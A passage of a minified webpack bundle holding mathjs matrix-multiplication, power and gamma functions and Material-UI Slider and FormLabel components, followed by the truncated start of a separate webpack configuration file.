r=f(e,t),i=0;i<n.length;i++)r=f(r,n[i]);return r}},r.signatures));return f})),In=ze("multiply",["typed","matrix","addScalar","multiplyScalar","equalScalar"],(function(e){var t=e.typed,n=e.matrix,r=e.addScalar,i=e.multiplyScalar,a=e.equalScalar,o=Cn({typed:t,equalScalar:a}),s=En({typed:t}),l=t("multiply",$({"Array, Array":function(e,t){u(Se(e),Se(t));var r=l(n(e),n(t));return h(r)?r.valueOf():r},"Matrix, Matrix":function(e,n){var a=e.size(),o=n.size();return u(a,o),1===a.length?1===o.length?function(e,n,a){if(0===a)throw new Error("Cannot multiply two empty vectors");var o,s=e._data,l=e._datatype,u=n._data,c=n._datatype,f=r,h=i;l&&c&&l===c&&"string"===typeof l&&(o=l,f=t.find(r,[o,o]),h=t.find(i,[o,o]));for(var d=h(s[0],u[0]),p=1;p<a;p++)d=f(d,h(s[p],u[p]));return d}(e,n,a[0]):function(e,n){if("dense"!==n.storage())throw new Error("Support for SparseMatrix not implemented");return function(e,n){var a,o=e._data,s=e._size,l=e._datatype,u=n._data,c=n._size,f=n._datatype,h=s[0],d=c[1],p=r,m=i;l&&f&&l===f&&"string"===typeof l&&(a=l,p=t.find(r,[a,a]),m=t.find(i,[a,a]));for(var v=[],g=0;g<d;g++){for(var y=m(o[0],u[0][g]),b=1;b<h;b++)y=p(y,m(o[b],u[b][g]));v[g]=y}return e.createDenseMatrix({data:v,size:[d],datatype:a})}(e,n)}(e,n):1===o.length?c(e,n):f(e,n)},"Matrix, Array":function(e,t){return l(e,n(t))},"Array, Matrix":function(e,t){return l(n(e,t.storage()),t)},"SparseMatrix, any":function(e,t){return o(e,t,i,!1)},"DenseMatrix, any":function(e,t){return s(e,t,i,!1)},"any, SparseMatrix":function(e,t){return o(t,e,i,!0)},"any, DenseMatrix":function(e,t){return s(t,e,i,!0)},"Array, any":function(e,t){return s(n(e),t,i,!1).valueOf()},"any, Array":function(e,t){return s(n(t),e,i,!0).valueOf()},"any, any":i,"any, any, ...any":function(e,t,n){for(var r=l(e,t),i=0;i<n.length;i++)r=l(r,n[i]);return r}},i.signatures));function u(e,t){switch(e.length){case 1:switch(t.length){case 1:if(e[0]!==t[0])throw new RangeError("Dimension mismatch in multiplication. Vectors must have the same length");break;case 2:if(e[0]!==t[0])throw new RangeError("Dimension mismatch in multiplication. Vector length ("+e[0]+") must match Matrix rows ("+t[0]+")");break;default:throw new Error("Can only multiply a 1 or 2 dimensional matrix (Matrix B has "+t.length+" dimensions)")}break;case 2:switch(t.length){case 1:if(e[1]!==t[0])throw new RangeError("Dimension mismatch in multiplication. Matrix columns ("+e[1]+") must match Vector length ("+t[0]+")");break;case 2:if(e[1]!==t[0])throw new RangeError("Dimension mismatch in multiplication. Matrix A columns ("+e[1]+") must match Matrix B rows ("+t[0]+")");break;default:throw new Error("Can only multiply a 1 or 2 dimensional matrix (Matrix B has "+t.length+" dimensions)")}break;default:throw new Error("Can only multiply a 1 or 2 dimensional matrix (Matrix A has "+e.length+" dimensions)")}}var c=t("_multiplyMatrixVector",{"DenseMatrix, any":function(e,n){var a,o=e._data,s=e._size,l=e._datatype,u=n._data,c=n._datatype,f=s[0],h=s[1],d=r,p=i;l&&c&&l===c&&"string"===typeof l&&(a=l,d=t.find(r,[a,a]),p=t.find(i,[a,a]));for(var m=[],v=0;v<f;v++){for(var g=o[v],y=p(g[0],u[0]),b=1;b<h;b++)y=d(y,p(g[b],u[b]));m[v]=y}return e.createDenseMatrix({data:m,size:[f],datatype:a})},"SparseMatrix, any":function(e,n){var o=e._values,s=e._index,l=e._ptr,u=e._datatype;if(!o)throw new Error("Cannot multiply Pattern only Matrix times Dense Matrix");var c,f=n._data,h=n._datatype,d=e._size[0],p=n._size[0],m=[],v=[],g=[],y=r,b=i,x=a,w=0;u&&h&&u===h&&"string"===typeof u&&(c=u,y=t.find(r,[c,c]),b=t.find(i,[c,c]),x=t.find(a,[c,c]),w=t.convert(0,c));var k=[],_=[];g[0]=0;for(var M=0;M<p;M++){var S=f[M];if(!x(S,w))for(var T=l[M],O=l[M+1],E=T;E<O;E++){var C=s[E];_[C]?k[C]=y(k[C],b(S,o[E])):(_[C]=!0,v.push(C),k[C]=b(S,o[E]))}}for(var N=v.length,P=0;P<N;P++){var A=v[P];m[P]=k[A]}return g[1]=v.length,e.createSparseMatrix({values:m,index:v,ptr:g,size:[d,1],datatype:c})}}),f=t("_multiplyMatrixMatrix",{"DenseMatrix, DenseMatrix":function(e,n){var a,o=e._data,s=e._size,l=e._datatype,u=n._data,c=n._size,f=n._datatype,h=s[0],d=s[1],p=c[1],m=r,v=i;l&&f&&l===f&&"string"===typeof l&&(a=l,m=t.find(r,[a,a]),v=t.find(i,[a,a]));for(var g=[],y=0;y<h;y++){var b=o[y];g[y]=[];for(var x=0;x<p;x++){for(var w=v(b[0],u[0][x]),k=1;k<d;k++)w=m(w,v(b[k],u[k][x]));g[y][x]=w}}return e.createDenseMatrix({data:g,size:[h,p],datatype:a})},"DenseMatrix, SparseMatrix":function(e,n){var o=e._data,s=e._size,l=e._datatype,u=n._values,c=n._index,f=n._ptr,h=n._size,d=n._datatype;if(!u)throw new Error("Cannot multiply Dense Matrix times Pattern only Matrix");var p,m=s[0],v=h[1],g=r,y=i,b=a,x=0;l&&d&&l===d&&"string"===typeof l&&(p=l,g=t.find(r,[p,p]),y=t.find(i,[p,p]),b=t.find(a,[p,p]),x=t.convert(0,p));for(var w=[],k=[],_=[],M=n.createSparseMatrix({values:w,index:k,ptr:_,size:[m,v],datatype:p}),S=0;S<v;S++){_[S]=k.length;var T=f[S],O=f[S+1];if(O>T)for(var E=0,C=0;C<m;C++){for(var N=C+1,P=void 0,A=T;A<O;A++){var z=c[A];E!==N?(P=y(o[C][z],u[A]),E=N):P=g(P,y(o[C][z],u[A]))}E!==N||b(P,x)||(k.push(C),w.push(P))}}return _[v]=k.length,M},"SparseMatrix, DenseMatrix":function(e,n){var o=e._values,s=e._index,l=e._ptr,u=e._datatype;if(!o)throw new Error("Cannot multiply Pattern only Matrix times Dense Matrix");var c,f=n._data,h=n._datatype,d=e._size[0],p=n._size[0],m=n._size[1],v=r,g=i,y=a,b=0;u&&h&&u===h&&"string"===typeof u&&(c=u,v=t.find(r,[c,c]),g=t.find(i,[c,c]),y=t.find(a,[c,c]),b=t.convert(0,c));for(var x=[],w=[],k=[],_=e.createSparseMatrix({values:x,index:w,ptr:k,size:[d,m],datatype:c}),M=[],S=[],T=0;T<m;T++){k[T]=w.length;for(var O=T+1,E=0;E<p;E++){var C=f[E][T];if(!y(C,b))for(var N=l[E],P=l[E+1],A=N;A<P;A++){var z=s[A];S[z]!==O?(S[z]=O,w.push(z),M[z]=g(C,o[A])):M[z]=v(M[z],g(C,o[A]))}}for(var D=k[T],I=w.length,R=D;R<I;R++){var j=w[R];x[R]=M[j]}}return k[m]=w.length,_},"SparseMatrix, SparseMatrix":function(e,n){var a,o=e._values,s=e._index,l=e._ptr,u=e._datatype,c=n._values,f=n._index,h=n._ptr,d=n._datatype,p=e._size[0],m=n._size[1],v=o&&c,g=r,y=i;u&&d&&u===d&&"string"===typeof u&&(a=u,g=t.find(r,[a,a]),y=t.find(i,[a,a]));for(var b,x,w,k,_,M,S,T,O=v?[]:void 0,E=[],C=[],N=e.createSparseMatrix({values:O,index:E,ptr:C,size:[p,m],datatype:a}),P=v?[]:void 0,A=[],z=0;z<m;z++){C[z]=E.length;var D=z+1;for(_=h[z],M=h[z+1],k=_;k<M;k++)if(T=f[k],v)for(x=l[T],w=l[T+1],b=x;b<w;b++)S=s[b],A[S]!==D?(A[S]=D,E.push(S),P[S]=y(c[k],o[b])):P[S]=g(P[S],y(c[k],o[b]));else for(x=l[T],w=l[T+1],b=x;b<w;b++)S=s[b],A[S]!==D&&(A[S]=D,E.push(S));if(v)for(var I=C[z],R=E.length,j=I;j<R;j++){var F=E[j];O[j]=P[F]}}return C[m]=E.length,N}});return l}));function Rn(e,t,n,r){if(!(this instanceof Rn))throw new SyntaxError("Constructor must be called with the new operator");this.fn=e,this.count=t,this.min=n,this.max=r,this.message="Wrong number of arguments in function "+e+" ("+t+" provided, "+n+(void 0!==r&&null!==r?"-"+r:"")+" expected)",this.stack=(new Error).stack}Rn.prototype=new Error,Rn.prototype.constructor=Error,Rn.prototype.name="ArgumentsError",Rn.prototype.isArgumentsError=!0;var jn=ze("pow",["typed","config","identity","multiply","matrix","fraction","number","Complex"],(function(e){var t=e.typed,n=e.config,r=e.identity,i=e.multiply,a=e.matrix,o=e.number,s=e.fraction,l=e.Complex;return t("pow",{"number, number":u,"Complex, Complex":function(e,t){return e.pow(t)},"BigNumber, BigNumber":function(e,t){return t.isInteger()||e>=0||n.predictable?e.pow(t):new l(e.toNumber(),0).pow(t.toNumber(),0)},"Fraction, Fraction":function(e,t){if(1!==t.d){if(n.predictable)throw new Error("Function pow does not support non-integer exponents for fractions.");return u(e.valueOf(),t.valueOf())}return e.pow(t)},"Array, number":c,"Array, BigNumber":function(e,t){return c(e,t.toNumber())},"Matrix, number":f,"Matrix, BigNumber":function(e,t){return f(e,t.toNumber())},"Unit, number | BigNumber":function(e,t){return e.pow(t)}});function u(e,t){if(n.predictable&&!ee(t)&&e<0)try{var r=s(t),i=o(r);if((t===i||Math.abs((t-i)/t)<1e-14)&&r.d%2===1)return(r.n%2===0?1:-1)*Math.pow(-e,t)}catch(a){}return n.predictable&&(e<-1&&t===1/0||e>-1&&e<0&&t===-1/0)?NaN:ee(t)||e>=0||n.predictable?Lt(e,t):e*e<1&&t===1/0||e*e>1&&t===-1/0?0:new l(e,0).pow(t,0)}function c(e,t){if(!ee(t)||t<0)throw new TypeError("For A^b, b must be a positive integer (value is "+t+")");var n=Se(e);if(2!==n.length)throw new Error("For A^b, A must be 2 dimensional (A has "+n.length+" dimensions)");if(n[0]!==n[1])throw new Error("For A^b, A must be square (size is "+n[0]+"x"+n[1]+")");for(var a=r(n[0]).valueOf(),o=e;t>=1;)1===(1&t)&&(a=i(o,a)),t>>=1,o=i(o,o);return a}function f(e,t){return a(c(e.valueOf(),t))}}));n(17);function Fn(e){var t;if(ee(e))return e<=0?isFinite(e)?1/0:NaN:e>171?1/0:yn(1,e-1);if(e<.5)return Math.PI/(Math.sin(Math.PI*e)*Fn(1-e));if(e>=171.35)return 1/0;if(e>85){var n=e*e,r=n*e,i=r*e,a=i*e;return Math.sqrt(2*Math.PI/e)*Math.pow(e/Math.E,e)*(1+1/(12*e)+1/(288*n)-139/(51840*r)-571/(2488320*i)+163879/(209018880*a)+5246819/(75246796800*a*e))}--e,t=Bn[0];for(var o=1;o<Bn.length;++o)t+=Bn[o]/(e+o);var s=e+Ln+.5;return Math.sqrt(2*Math.PI)*Math.pow(s,e+.5)*Math.exp(-s)*t}Fn.signature="number";var Ln=4.7421875,Bn=[.9999999999999971,57.15623566586292,-59.59796035547549,14.136097974741746,-.4919138160976202,3399464998481189e-20,4652362892704858e-20,-9837447530487956e-20,.0001580887032249125,-.00021026444172410488,.00021743961811521265,-.0001643181065367639,8441822398385275e-20,-26190838401581408e-21,36899182659531625e-22],Vn=ze("bignumber",["typed","BigNumber"],(function(e){var t=e.typed,n=e.BigNumber,r=t("bignumber",{"":function(){return new n(0)},number:function(e){return new n(e+"")},string:function(e){return new n(e)},BigNumber:function(e){return e},Fraction:function(e){return new n(e.n).div(e.d).times(e.s)},null:function(e){return new n(0)},"Array | Matrix":function(e){return st(e,r)}});return r})),Hn=ze("sum",["typed","config","add","?bignumber","?fraction"],(function(e){var t=e.typed,n=e.config,r=e.add,i=e.bignumber,a=e.fraction;return t("sum",{"Array | Matrix":o,"Array | Matrix, number | BigNumber":function(e,t){try{return lt(e,t,r)}catch(n){throw zn(n,"sum")}},"...":function(e){if(at(e))throw new TypeError("Scalar values expected in function sum");return o(e)}});function o(e){var t;if(ot(e,(function(e){try{t=void 0===t?e:r(t,e)}catch(n){throw zn(n,"sum",e)}})),void 0===t)switch(n.number){case"number":return 0;case"BigNumber":return i?i(0):Pn();case"Fraction":return a?a(0):An();default:return 0}return t}}));ze("equal",["typed","equalScalar"],(function(e){var t=e.typed,n=e.equalScalar;return t("equal",{"any, any":function(e,t){return null===e?null===t:null===t?null===e:void 0===e?void 0===t:void 0===t?void 0===e:n(e,t)}})}));var Wn=Fe({}),qn=Ye({config:J}),Yn=Ue({}),Un=Xe({}),$n=Ke({Matrix:Yn}),Gn=tt({BigNumber:qn,Complex:Wn,DenseMatrix:$n,Fraction:Un}),Zn=vt({config:J,typed:Gn}),Xn=gt({typed:Gn}),Kn=Vt({Complex:Wn,config:J,typed:Gn}),Qn=Ht({typed:Gn}),Jn=xn({Fraction:Un,typed:Gn}),er=wn({typed:Gn}),tr=kn({Matrix:Yn,equalScalar:Zn,typed:Gn}),nr=_n({DenseMatrix:$n,Matrix:Yn,SparseMatrix:tr,typed:Gn}),rr=Nn({BigNumber:qn,DenseMatrix:$n,SparseMatrix:tr,config:J,matrix:nr,typed:Gn}),ir=Dn({DenseMatrix:$n,SparseMatrix:tr,addScalar:er,equalScalar:Zn,matrix:nr,typed:Gn}),ar=In({addScalar:er,equalScalar:Zn,matrix:nr,multiplyScalar:Qn,typed:Gn}),or=jn({Complex:Wn,config:J,fraction:Jn,identity:rr,matrix:nr,multiply:ar,number:Xn,typed:Gn}),sr=Vn({BigNumber:qn,typed:Gn}),lr=Hn({bignumber:sr,fraction:Jn,add:ir,config:J,typed:Gn})},function(e,t,n){"use strict";var r=n(36),i=n(5),a=n(2),o=n(14),s=n(0),l=(n(1),n(9)),u=n(18),c=n(213),f=n(35);var h=n(10),d=n(33),p=!0,m=!1,v=null,g={text:!0,search:!0,url:!0,tel:!0,email:!0,password:!0,number:!0,date:!0,month:!0,week:!0,time:!0,datetime:!0,"datetime-local":!0};function y(e){e.metaKey||e.altKey||e.ctrlKey||(p=!0)}function b(){p=!1}function x(){"hidden"===this.visibilityState&&m&&(p=!0)}function w(e){var t=e.target;try{return t.matches(":focus-visible")}catch(n){}return p||function(e){var t=e.type,n=e.tagName;return!("INPUT"!==n||!g[t]||e.readOnly)||("TEXTAREA"===n&&!e.readOnly||!!e.isContentEditable)}(t)}function k(){m=!0,window.clearTimeout(v),v=window.setTimeout((function(){m=!1}),100)}function _(){return{isFocusVisible:w,onBlurVisible:k,ref:s.useCallback((function(e){var t,n=d.findDOMNode(e);null!=n&&((t=n.ownerDocument).addEventListener("keydown",y,!0),t.addEventListener("mousedown",b,!0),t.addEventListener("pointerdown",b,!0),t.addEventListener("touchstart",b,!0),t.addEventListener("visibilitychange",x,!0))}),[])}}function M(e){return e&&e.ownerDocument||document}var S="undefined"!==typeof window?s.useLayoutEffect:s.useEffect;function T(e){var t=s.useRef(e);return S((function(){t.current=e})),s.useCallback((function(){return t.current.apply(void 0,arguments)}),[])}function O(e,t){"function"===typeof e?e(t):e&&(e.current=t)}function E(e,t){return s.useMemo((function(){return null==e&&null==t?null:function(n){O(e,n),O(t,n)}}),[e,t])}var C=n(24);var N=Object(u.a)((function(e){return{thumb:{"&$open":{"& $offset":{transform:"scale(1) translateY(-10px)"}}},open:{},offset:Object(a.a)({zIndex:1},e.typography.body2,{fontSize:e.typography.pxToRem(12),lineHeight:1.2,transition:e.transitions.create(["transform"],{duration:e.transitions.duration.shortest}),top:-34,transformOrigin:"bottom center",transform:"scale(0)",position:"absolute"}),circle:{display:"flex",alignItems:"center",justifyContent:"center",width:32,height:32,borderRadius:"50% 50% 50% 0",backgroundColor:"currentColor",transform:"rotate(-45deg)"},label:{color:e.palette.primary.contrastText,transform:"rotate(45deg)"}}}),{name:"PrivateValueLabel"})((function(e){var t=e.children,n=e.classes,r=e.className,i=e.open,a=e.value,o=e.valueLabelDisplay;return"off"===o?t:s.cloneElement(t,{className:Object(l.a)(t.props.className,(i||"on"===o)&&n.open,n.thumb)},s.createElement("span",{className:Object(l.a)(n.offset,r)},s.createElement("span",{className:n.circle},s.createElement("span",{className:n.label},a))))}));function P(e,t){return e-t}function A(e,t,n){return Math.min(Math.max(t,e),n)}function z(e,t){return e.reduce((function(e,n,r){var i=Math.abs(t-n);return null===e||i<e.distance||i===e.distance?{distance:i,index:r}:e}),null).index}function D(e,t){if(void 0!==t.current&&e.changedTouches){for(var n=0;n<e.changedTouches.length;n+=1){var r=e.changedTouches[n];if(r.identifier===t.current)return{x:r.clientX,y:r.clientY}}return!1}return{x:e.clientX,y:e.clientY}}function I(e,t,n){return 100*(e-t)/(n-t)}function R(e,t,n){var r=Math.round((e-n)/t)*t+n;return Number(r.toFixed(function(e){if(Math.abs(e)<1){var t=e.toExponential().split("e-"),n=t[0].split(".")[1];return(n?n.length:0)+parseInt(t[1],10)}var r=e.toString().split(".")[1];return r?r.length:0}(t)))}function j(e){var t=e.values,n=e.source,r=e.newValue,i=e.index;if(t[i]===r)return n;var a=Object(o.a)(t);return a[i]=r,a}function F(e){var t=e.sliderRef,n=e.activeIndex,r=e.setActive;t.current.contains(document.activeElement)&&Number(document.activeElement.getAttribute("data-index"))===n||t.current.querySelector('[data-index="'.concat(n,'"]')).focus(),r&&r(n)}var L={horizontal:{offset:function(e){return{left:"".concat(e,"%")}},leap:function(e){return{width:"".concat(e,"%")}}},"horizontal-reverse":{offset:function(e){return{right:"".concat(e,"%")}},leap:function(e){return{width:"".concat(e,"%")}}},vertical:{offset:function(e){return{bottom:"".concat(e,"%")}},leap:function(e){return{height:"".concat(e,"%")}}}},B=function(e){return e},V=s.forwardRef((function(e,t){var n=e["aria-label"],u=e["aria-labelledby"],h=e["aria-valuetext"],d=e.classes,p=e.className,m=e.color,v=void 0===m?"primary":m,g=e.component,y=void 0===g?"span":g,b=e.defaultValue,x=e.disabled,w=void 0!==x&&x,k=e.getAriaLabel,S=e.getAriaValueText,O=e.marks,V=void 0!==O&&O,H=e.max,W=void 0===H?100:H,q=e.min,Y=void 0===q?0:q,U=e.name,$=e.onChange,G=e.onChangeCommitted,Z=e.onMouseDown,X=e.orientation,K=void 0===X?"horizontal":X,Q=e.scale,J=void 0===Q?B:Q,ee=e.step,te=void 0===ee?1:ee,ne=e.ThumbComponent,re=void 0===ne?"span":ne,ie=e.track,ae=void 0===ie?"normal":ie,oe=e.value,se=e.ValueLabelComponent,le=void 0===se?N:se,ue=e.valueLabelDisplay,ce=void 0===ue?"off":ue,fe=e.valueLabelFormat,he=void 0===fe?B:fe,de=Object(i.a)(e,["aria-label","aria-labelledby","aria-valuetext","classes","className","color","component","defaultValue","disabled","getAriaLabel","getAriaValueText","marks","max","min","name","onChange","onChangeCommitted","onMouseDown","orientation","scale","step","ThumbComponent","track","value","ValueLabelComponent","valueLabelDisplay","valueLabelFormat"]),pe=Object(c.a)()||f.a,me=s.useRef(),ve=s.useState(-1),ge=ve[0],ye=ve[1],be=s.useState(-1),xe=be[0],we=be[1],ke=function(e){var t=e.controlled,n=e.default,r=(e.name,e.state,s.useRef(void 0!==t).current),i=s.useState(n),a=i[0],o=i[1];return[r?t:a,s.useCallback((function(e){r||o(e)}),[])]}({controlled:oe,default:b,name:"Slider"}),_e=Object(r.a)(ke,2),Me=_e[0],Se=_e[1],Te=Array.isArray(Me),Oe=s.useRef(),Ee=Te?Object(o.a)(Me).sort(P):[Me];Ee=Ee.map((function(e){return A(e,Y,W)}));var Ce=!0===V&&null!==te?Object(o.a)(Array(Math.floor((W-Y)/te)+1)).map((function(e,t){return{value:Y+te*t}})):V||[];Oe.current={source:Me};var Ne=_(),Pe=Ne.isFocusVisible,Ae=Ne.onBlurVisible,ze=Ne.ref,De=s.useState(-1),Ie=De[0],Re=De[1],je=s.useRef(),Fe=E(ze,je),Le=E(t,Fe),Be=T((function(e){var t=Number(e.currentTarget.getAttribute("data-index"));Pe(e)&&Re(t),we(t)})),Ve=T((function(){-1!==Ie&&(Re(-1),Ae()),we(-1)})),He=T((function(e){var t=Number(e.currentTarget.getAttribute("data-index"));we(t)})),We=T((function(){we(-1)})),qe=T((function(e){var t,n=Number(e.currentTarget.getAttribute("data-index")),r=Ee[n],i=(W-Y)/10,a=Ce.map((function(e){return e.value})),o=a.indexOf(r);switch(e.key){case"Home":t=Y;break;case"End":t=W;break;case"PageUp":te&&(t=r+i);break;case"PageDown":te&&(t=r-i);break;case"ArrowRight":case"ArrowUp":t=te?r+te:a[o+1]||a[a.length-1];break;case"ArrowLeft":case"ArrowDown":t=te?r-te:a[o-1]||a[0];break;default:return}if(e.preventDefault(),te&&(t=R(t,te,Y)),t=A(t,Y,W),Te){var s=t;t=j({values:Ee,source:Me,newValue:t,index:n}).sort(P),F({sliderRef:je,activeIndex:t.indexOf(s)})}Se(t),Re(n),$&&$(e,t),G&&G(e,t)})),Ye=s.useRef(),Ue=K;"rtl"===pe.direction&&"vertical"!==K&&(Ue+="-reverse");var $e=function(e){var t,n,r=e.finger,i=e.move,a=void 0!==i&&i,o=e.values,s=e.source,l=je.current.getBoundingClientRect(),u=l.width,c=l.height,f=l.bottom,h=l.left;if(t=0===Ue.indexOf("vertical")?(f-r.y)/c:(r.x-h)/u,-1!==Ue.indexOf("-reverse")&&(t=1-t),n=function(e,t,n){return(n-t)*e+t}(t,Y,W),te)n=R(n,te,Y);else{var d=Ce.map((function(e){return e.value}));n=d[z(d,n)]}n=A(n,Y,W);var p=0;if(Te){var m=n;p=(n=j({values:o,source:s,newValue:n,index:p=a?Ye.current:z(o,n)}).sort(P)).indexOf(m),Ye.current=p}return{newValue:n,activeIndex:p}},Ge=T((function(e){var t=D(e,me);if(t){var n=$e({finger:t,move:!0,values:Ee,source:Me}),r=n.newValue,i=n.activeIndex;F({sliderRef:je,activeIndex:i,setActive:ye}),Se(r),$&&$(e,r)}})),Ze=T((function(e){var t=D(e,me);if(t){var n=$e({finger:t,values:Ee,source:Me}).newValue;ye(-1),"touchend"===e.type&&we(-1),G&&G(e,n),me.current=void 0;var r=M(je.current);r.removeEventListener("mousemove",Ge),r.removeEventListener("mouseup",Ze),r.removeEventListener("touchmove",Ge),r.removeEventListener("touchend",Ze)}})),Xe=T((function(e){e.preventDefault();var t=e.changedTouches[0];null!=t&&(me.current=t.identifier);var n=D(e,me),r=$e({finger:n,values:Ee,source:Me}),i=r.newValue,a=r.activeIndex;F({sliderRef:je,activeIndex:a,setActive:ye}),Se(i),$&&$(e,i);var o=M(je.current);o.addEventListener("touchmove",Ge),o.addEventListener("touchend",Ze)}));s.useEffect((function(){var e=je.current;e.addEventListener("touchstart",Xe);var t=M(e);return function(){e.removeEventListener("touchstart",Xe),t.removeEventListener("mousemove",Ge),t.removeEventListener("mouseup",Ze),t.removeEventListener("touchmove",Ge),t.removeEventListener("touchend",Ze)}}),[Ze,Ge,Xe]);var Ke=T((function(e){Z&&Z(e),e.preventDefault();var t=D(e,me),n=$e({finger:t,values:Ee,source:Me}),r=n.newValue,i=n.activeIndex;F({sliderRef:je,activeIndex:i,setActive:ye}),Se(r),$&&$(e,r);var a=M(je.current);a.addEventListener("mousemove",Ge),a.addEventListener("mouseup",Ze)})),Qe=I(Te?Ee[0]:Y,Y,W),Je=I(Ee[Ee.length-1],Y,W)-Qe,et=Object(a.a)({},L[Ue].offset(Qe),{},L[Ue].leap(Je));return s.createElement(y,Object(a.a)({ref:Le,className:Object(l.a)(d.root,d["color".concat(Object(C.a)(v))],p,w&&d.disabled,Ce.length>0&&Ce.some((function(e){return e.label}))&&d.marked,!1===ae&&d.trackFalse,"vertical"===K&&d.vertical,"inverted"===ae&&d.trackInverted),onMouseDown:Ke},de),s.createElement("span",{className:d.rail}),s.createElement("span",{className:d.track,style:et}),s.createElement("input",{value:Ee.join(","),name:U,type:"hidden"}),Ce.map((function(e,t){var n,r=I(e.value,Y,W),i=L[Ue].offset(r);return n=!1===ae?-1!==Ee.indexOf(e.value):"normal"===ae&&(Te?e.value>=Ee[0]&&e.value<=Ee[Ee.length-1]:e.value<=Ee[0])||"inverted"===ae&&(Te?e.value<=Ee[0]||e.value>=Ee[Ee.length-1]:e.value>=Ee[0]),s.createElement(s.Fragment,{key:e.value},s.createElement("span",{style:i,"data-index":t,className:Object(l.a)(d.mark,n&&d.markActive)}),null!=e.label?s.createElement("span",{"aria-hidden":!0,"data-index":t,style:i,className:Object(l.a)(d.markLabel,n&&d.markLabelActive)},e.label):null)})),Ee.map((function(e,t){var r=I(e,Y,W),i=L[Ue].offset(r);return s.createElement(le,{key:t,valueLabelFormat:he,valueLabelDisplay:ce,className:d.valueLabel,value:"function"===typeof he?he(J(e),t):he,index:t,open:xe===t||ge===t||"on"===ce,disabled:w},s.createElement(re,{className:Object(l.a)(d.thumb,d["thumbColor".concat(Object(C.a)(v))],ge===t&&d.active,w&&d.disabled,Ie===t&&d.focusVisible),tabIndex:w?null:0,role:"slider",style:i,"data-index":t,"aria-label":k?k(t):n,"aria-labelledby":u,"aria-orientation":K,"aria-valuemax":J(W),"aria-valuemin":J(Y),"aria-valuenow":J(e),"aria-valuetext":S?S(J(e),t):h,onKeyDown:qe,onFocus:Be,onBlur:Ve,onMouseOver:He,onMouseLeave:We}))})))}));t.a=Object(u.a)((function(e){return{root:{height:2,width:"100%",boxSizing:"content-box",padding:"13px 0",display:"inline-block",position:"relative",cursor:"pointer",touchAction:"none",color:e.palette.primary.main,WebkitTapHighlightColor:"transparent","&$disabled":{pointerEvents:"none",cursor:"default",color:e.palette.grey[400]},"&$vertical":{width:2,height:"100%",padding:"0 13px"},"@media (pointer: coarse)":{padding:"20px 0","&$vertical":{padding:"0 20px"}}},colorPrimary:{},colorSecondary:{color:e.palette.secondary.main},marked:{marginBottom:20,"&$vertical":{marginBottom:"auto",marginRight:20}},vertical:{},disabled:{},rail:{display:"block",position:"absolute",width:"100%",height:2,borderRadius:1,backgroundColor:"currentColor",opacity:.38,"$vertical &":{height:"100%",width:2}},track:{display:"block",position:"absolute",height:2,borderRadius:1,backgroundColor:"currentColor","$vertical &":{width:2}},trackFalse:{"& $track":{display:"none"}},trackInverted:{"& $track":{backgroundColor:"light"===e.palette.type?Object(h.d)(e.palette.primary.main,.62):Object(h.a)(e.palette.primary.main,.5)},"& $rail":{opacity:1}},thumb:{position:"absolute",width:12,height:12,marginLeft:-6,marginTop:-5,boxSizing:"border-box",borderRadius:"50%",outline:0,backgroundColor:"currentColor",display:"flex",alignItems:"center",justifyContent:"center",transition:e.transitions.create(["box-shadow"],{duration:e.transitions.duration.shortest}),"&::after":{position:"absolute",content:'""',borderRadius:"50%",left:-15,top:-15,right:-15,bottom:-15},"&$focusVisible,&:hover":{boxShadow:"0px 0px 0px 8px ".concat(Object(h.b)(e.palette.primary.main,.16)),"@media (hover: none)":{boxShadow:"none"}},"&$active":{boxShadow:"0px 0px 0px 14px ".concat(Object(h.b)(e.palette.primary.main,.16))},"&$disabled":{width:8,height:8,marginLeft:-4,marginTop:-3,"&:hover":{boxShadow:"none"}},"$vertical &":{marginLeft:-5,marginBottom:-6},"$vertical &$disabled":{marginLeft:-3,marginBottom:-4}},thumbColorPrimary:{},thumbColorSecondary:{"&$focusVisible,&:hover":{boxShadow:"0px 0px 0px 8px ".concat(Object(h.b)(e.palette.secondary.main,.16))},"&$active":{boxShadow:"0px 0px 0px 14px ".concat(Object(h.b)(e.palette.secondary.main,.16))}},active:{},focusVisible:{},valueLabel:{},mark:{position:"absolute",width:2,height:2,borderRadius:1,backgroundColor:"currentColor"},markActive:{backgroundColor:e.palette.background.paper,opacity:.8},markLabel:Object(a.a)({},e.typography.body2,{color:e.palette.text.secondary,position:"absolute",top:26,transform:"translateX(-50%)",whiteSpace:"nowrap","$vertical &":{top:"auto",left:26,transform:"translateY(50%)"},"@media (pointer: coarse)":{top:40,"$vertical &":{left:31}}}),markLabelActive:{color:e.palette.text.primary}}}),{name:"MuiSlider"})(V)},function(e,t,n){"use strict";var r=n(5),i=n(2),a=n(0),o=(n(1),n(9));var s=a.createContext();var l=s;var u=n(24),c=n(18),f=a.forwardRef((function(e,t){var n=e.children,s=e.classes,c=e.className,f=(e.color,e.component),h=void 0===f?"label":f,d=(e.disabled,e.error,e.filled,e.focused,e.required,Object(r.a)(e,["children","classes","className","color","component","disabled","error","filled","focused","required"])),p=function(e){var t=e.props,n=e.states,r=e.muiFormControl;return n.reduce((function(e,n){return e[n]=t[n],r&&"undefined"===typeof t[n]&&(e[n]=r[n]),e}),{})}({props:e,muiFormControl:a.useContext(l),states:["color","required","focused","disabled","error","filled"]});return a.createElement(h,Object(i.a)({className:Object(o.a)(s.root,s["color".concat(Object(u.a)(p.color||"primary"))],c,p.disabled&&s.disabled,p.error&&s.error,p.filled&&s.filled,p.focused&&s.focused,p.required&&s.required),ref:t},d),n,p.required&&a.createElement("span",{className:Object(o.a)(s.asterisk,p.error&&s.error)},"\u2009","*"))}));t.a=Object(c.a)((function(e){return{root:Object(i.a)({color:e.palette.text.secondary},e.typography.body1,{lineHeight:1,padding:0,"&$focused":{color:e.palette.primary.main},"&$disabled":{color:e.palette.text.disabled},"&$error":{color:e.palette.error.main}}),colorSecondary:{"&$focused":{color:e.palette.secondary.main}},focused:{},disabled:{},error:{},filled:{},required:{},asterisk:{"&$error":{color:e.palette.error.main}}}}),{name:"MuiFormLabel"})(f)},function(e,t,n){"use strict";n.d(t,"a",(function(){return o}));var r=n(0),i=n.n(r);var a=i.a.createContext(null);function o(){return i.a.useContext(a)}}]]);
//# sourceMappingURL=2.da070c0a.chunk.js.map
|
const {resolve} = require('path');
const BabelStandalonePlugin = require('./webpack/babel-standalone-plugin');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const CopyWebpackPlugin = require('copy-webpack-plugin');
module.exports = {
optimization: {
minimize: false,
},
plugins: [
new HtmlWebpackPlugin({
inject: false,
template: resolve(__dirname, 'src/template/index.html'),
}),
